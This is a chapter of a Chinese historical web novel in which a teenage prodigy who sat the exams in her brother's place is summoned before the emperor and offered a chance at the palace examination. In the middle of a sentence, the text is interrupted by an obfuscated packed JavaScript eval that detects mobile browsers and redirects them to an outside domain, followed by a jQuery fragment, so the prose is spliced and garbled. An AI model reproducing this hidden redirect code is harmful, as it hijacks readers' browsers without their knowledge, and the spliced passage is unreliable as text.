2. 天骄其二

作品:《上阳遗策

    上阳,集姜国各方繁华于一处的京都。


    阳春三月,风和日丽。彼时的姜国国政蒸蒸日上,街上车如流水马如龙。


    举目远望,皆是青楼画阁,绣户珠帘。雕车竞驻于天街,宝马竞驰于御路,令人心驰神往。


    今时却不同往日,一辆京外来的马车驰骋于御前长街之上,街边市井人家纷纷探出头来远远观望,好不热闹。


    楼少惊倚在阁楼上,悠闲地夹着茶盏,漫不经心地朝下一瞥。


    “吵吵嚷嚷的,这是在做什么?”


    跟在他身后双手抱拳的侍卫羌影顺着他的目光看过去,语气平和:“哦,是那个从浔安来的天之骄女。”


    “天之骄女?”


    “对,就是这段时间传得沸沸扬扬的那个才女柳时客,据说不满十五岁,第一次参加乡试便一举夺得会元。那丫头顶替自己的大哥科考,知道自己犯了不得了事情,便回去与她父亲坦白。其父柳逐远吓得连夜带着她赶往上阳,负荆请罪。”


    “浔安太守,柳逐远……”


    楼少惊反复咀嚼着这个名字,突然失笑:“一个不知名小小的太守,居然捧出一尊大佛?”


    他将杯中茶水一饮而尽,随后打了个哈欠:“替兄科考可是欺君大罪,想来这位所谓的天之骄女……今日难有好果子吃。”


    羌影沉吟片刻,压低了声音继续道:“圣上得知此事后非但没有怪罪,反而龙颜大悦,要亲自见一见这位不得了的才女。所以……所以他们才会火急火燎地赶入上阳。”


    “圣上居然没有怪罪?”


    楼少惊眸底闪过一丝诧异,随即若有所思地眯起眼:“……这般前无古人后无来者的事情,当今圣上还真是……惜才啊。”


    他说着突然回过头,眼底溜过一丝狡黠:“不过话说回来,羌影,你觉得我和她比起来,她骄还是我骄?”


    “……”


    羌影无语转头:“……世子何必与一个小姑娘攀比。”


    “也是,万一她是个有名无实的幌子呢,和她比岂不是降了身份。”


    话锋一转,楼少惊咧嘴一笑:“所以到底是她骄还是我骄?”


    “……”


    羌影无语转头:“你娇,你娇。”


    楼少惊骤然失笑,转过头去,一双桃花眼弯弯地望向那辆行进在人群中的马车。


    有风拂过,车幔横飞,楼少惊一眼瞥见马车内那位天之骄女的面容。


    只一眼,他甚至都来不及看清那少女的模样,只对上一双格外犀利的丹凤眼。


    虽然只是远远一瞥,楼少惊却仿佛被定住一般,轻佻的笑意瞬间凝结在脸上。


    ——好一双,毫不掩饰的、写满野心的眼睛。


    他放下茶盏,食指有一下没一下地点在桌面上:“听你这么说,本世子倒是想会会这个柳时客,看看这让当今圣上都惋惜的天之娇女,到底是名副其实,还是……徒有虚名。”


    羌影沉默着垂下眼,反手将腰间的长剑别到身侧。


    ——世子爷说什么就是什么吧。


    ——


    马车内,柳时客将头靠在马车窗框上,阖上眼睛闭目养神。


    她随柳逐远来到京都上阳,途经数城,本以为看见的会是一派繁华,不曾想一路上遇见的皆是天灾人祸,民不聊生。


    她双手扒在车窗上,举目望去,家家皆缟素,户户挂白绫。


    “瞧清楚了吗?离开浔安城,外面的世界也没有你想的那么美好。”


    柳逐远语气嘲弄:“上阳城……那尔虞我诈的地方,稍不注意就会人头落地……你给我注意点儿。”


    “我知道。”


    柳时客喃喃,看着成群结队乞讨食物的难民,只觉得眼前的场景和记脑海深处的某些东记忆重叠了起来。


    这般惊心动魄,这般似曾相识。


    她终究是不忍,落下帘幔不再去看。


    从残垣断壁的茅草屋来到辉煌威严的紫禁城,花了整整七日。


    待到车外传来嘈杂的议论声,柳时客这才探出头去,看着面前的繁荣景象,只觉恍如隔世。


    眼前的一切好似聚拢的浮云,一触即散,一戳就破。


    这虚假的繁华。


    马车渐渐停歇,车夫的声音传来:“柳大人,宫门到了。”


    坐在对面的柳逐远瞪了柳时客一眼,没好气道:“待会儿进宫面圣,可得规矩点。我们柳家上下七十多口人的脑袋都吊在你嘴边,千万别说漏了嘴。”


    柳时客眼睫微颤,乖顺地应道:“是,父亲。”


    一路上她都规规矩矩地跟在柳逐远身后,低垂着头一言不发。


    抬脚迈过一道门槛,脚下的台阶地板都变得精美起来。


    直到身前的柳逐远蓦地定住,柳时客才随之停下脚步。


    她悄然抬眼,瞥过金碧辉煌的高座之上那人的面容。


    天子之威,不必过多对视便能领略。


    只一眼,她便跟着柳逐远一齐垂下头,殿内气氛格外紧张。


    柳时客屏住呼吸,殿内浓郁的香薰气熏得她眼前一阵发晕。


    她的嗅觉出乎常人的敏锐,之前在柳家时根本没机会接触道各种香料,也就没什么。可如今到了殿中,旁人觉着心旷神怡的香薰到她这儿反而是一种折磨。


    柳时客扑朔着眼睫,不知不觉间微微有些失神。


    柳逐远先一步下跪行礼:“浔安城太守柳逐远,参见陛下,陛下万岁万岁万万岁!”


    见身边之人半晌没有动静,柳逐远微微偏头瞪了柳时客一眼,压低了声音轻唤:“愣着做什么?跪下行礼!”


    柳时客陡然惊醒,双膝下跪,双手相拱深深磕头。


    “浔安柳家三娘子,民女柳时客,参加陛下!陛下万岁万岁万万岁!”


    “平身吧。”


    柳时客闻言起身:“谢陛下。”


    大殿之上,年过半百的隆安皇帝打量着面前这个稚气未脱的少女:“你就是那个替兄科考的才女?”


    柳时客咬住下唇,强自清醒:“民女有罪,愧不敢当。”


    “诶,怎么能这般自贬。”


    隆安皇帝饶有兴致地抚了抚白花花的胡子,笑道:“柳太守,朕看你这女儿蕙质兰心,又生得水灵,若是悉心栽培,将来定会成就一番作为。”


    柳逐远打着哈哈:“陛下过奖了,小女不才,略微懂些诗书。实在是因为性子顽劣,一心想科考求官,这才闹出了替兄科考的乌龙。时客年幼,属实是臣教导无方,还望陛下责罚!”


    隆安皇帝闻言抚胸大笑:“柳爱卿说笑了,你这还教导无方?”


    “旁人寒窗苦读十余载,也比不过你家这位三娘子一朝科考啊。如此人才,朕又怎么忍心将其埋没?”


    他说着微微前倾身子,右手手肘撑在膝盖上:“若是柳爱卿——不,若是柳三娘子愿意,朕便给你个考取功名的机会。”


    柳时客不明所以,扭头和同样一脸茫然的柳逐远对视一眼,旋即低下头去。


    她拱手问道:“陛下何出此言?”


    “柳三娘子不是醉心科举吗?朕以为,人才不分男女老少,善谋擅策者,皆能为我所用。”


    隆安皇帝说着拉长了尾音:“四月的殿试,你柳时客便以女子的身份进京科考,朕亲自出题考考你,如何?”


    此言一出,不止是柳时客,连一旁的柳逐远都差点儿惊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630612|172536||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掉了下巴。


    他支支吾吾半晌,最终凑不齐一句完整的话。


    “陛……陛下!这万万不可啊!”


    隆安皇帝语气微愠:“有何不可?”


    “陛下!小女时客乃是一介女流,历朝历代哪有女子考取功名、哪有女子入朝为官的?陛下率先打开先河,只怕……”


    柳逐远深吸一口气,颤颤巍巍地继续道:“只怕会乱了规矩啊。”


    “规矩?什么是规矩?”


    隆安皇帝骤然拔高音量,语气也一齐沉了下来:“朕是皇帝,我们大姜国内的规矩,不都是朕定下的吗?柳爱卿啊,你家三娘子从乡试中脱颖而出,受到朝堂考官一致褒赞,确是百年难得一遇的天才啊!”


    “再者,朕亲自出题,若是你家三娘子能答到朕的心坎上去,讨个官做……于你柳太守而言,亦是八辈子求不来的福分。”


    柳逐远汗颜:“陛下,这……”


    “够了,柳太守且少说几句,朕要听听令爱的想法。”


    隆安皇帝说着转头看向柳时客,语气霎时柔和不少:“柳三娘子,你怎么看?”


    柳时客对上一旁柳逐远那有些复杂的目光,毅然别过头,毫不犹豫地叩首应下。


    “民女得陛下抬爱,实属三生有幸。柳时客在此,叩谢陛下!”


    隆安皇帝抚着胡子朗声笑道:“看看看看,朕就知道柳三娘子是愿意的。好在苍天有眼,才没让朕错失这么一个好苗子。”


    “既如此,那此事便这么定下了。”


    隆安皇帝说着站起身,挥了挥衣袖,身侧的老太监立马上前搀住他的手肘。


    柳逐远恭敬行礼:“恭送陛下。”


    隆安皇帝笑着回首,目光落到柳时客身上:“柳三娘子,你可千万莫要让朕失望啊。”


    柳时客眼波流转,嘴角噙笑再次叩首:“民女定倾尽毕生才学,不负陛下所望。”


    ——


    从大殿内出来后的柳逐远步履格外沉重,速度却出奇地快。


    他两腿一迈便自顾自往前走,丝毫不把身后紧跟着的柳时客放在眼里。


    柳时客毕竟也才是个十五岁的少女,实在是跟不上他的步伐,最后直接一路小跑起来。


    听着身后的跑步声,柳逐远蓦地停下脚步,柳时客立马收腿才堪堪停住,没能撞上他的后背。


    柳时客不解他为何停下,柳逐远却先发制人,声音森冷:


    “柳时客,你别仗着圣上的抬举就想着生事,别忘了你的身份。”


    柳时客听着他的话,倏地笑出声。


    “多谢父亲,时时刻刻都在提醒我,要扮演好一个好女儿的角色。”


    柳时客抬头,对上柳逐远那盛满怒意的眼睛,用只有他们二人听得见的声音说:


    “也请父亲千万小心,如今还未走出这宫门,无数双眼睛都在暗处盯着呢,可万万莫要露出马脚。”


    “——毕竟,如今姜国上下传得沸沸扬扬,你我二人可是……父慈女孝,令人艳羡啊。”


    柳逐远气极反笑,猛地一甩袖。


    “即刻启程,回浔安!”


    “父亲,今日天色不早,女儿有些乏了,还是明日再赶路吧。”


    “……柳时客,你是不是存心跟我唱反调?”


    柳时客无辜地眨眨眼:“父亲说什么呢?女儿不过是担心父亲身体罢了。女儿也是……一片孝心。”


    柳逐远欲言又止,余光瞥过一旁来往的宫人,终究还是住了嘴。


    他深吸一口气,眸色瞬间柔和下来:“既如此,那便在京中寻个客栈落脚,明日歇息好后再回浔安。”


    柳时客双眼含笑:“多谢父亲。”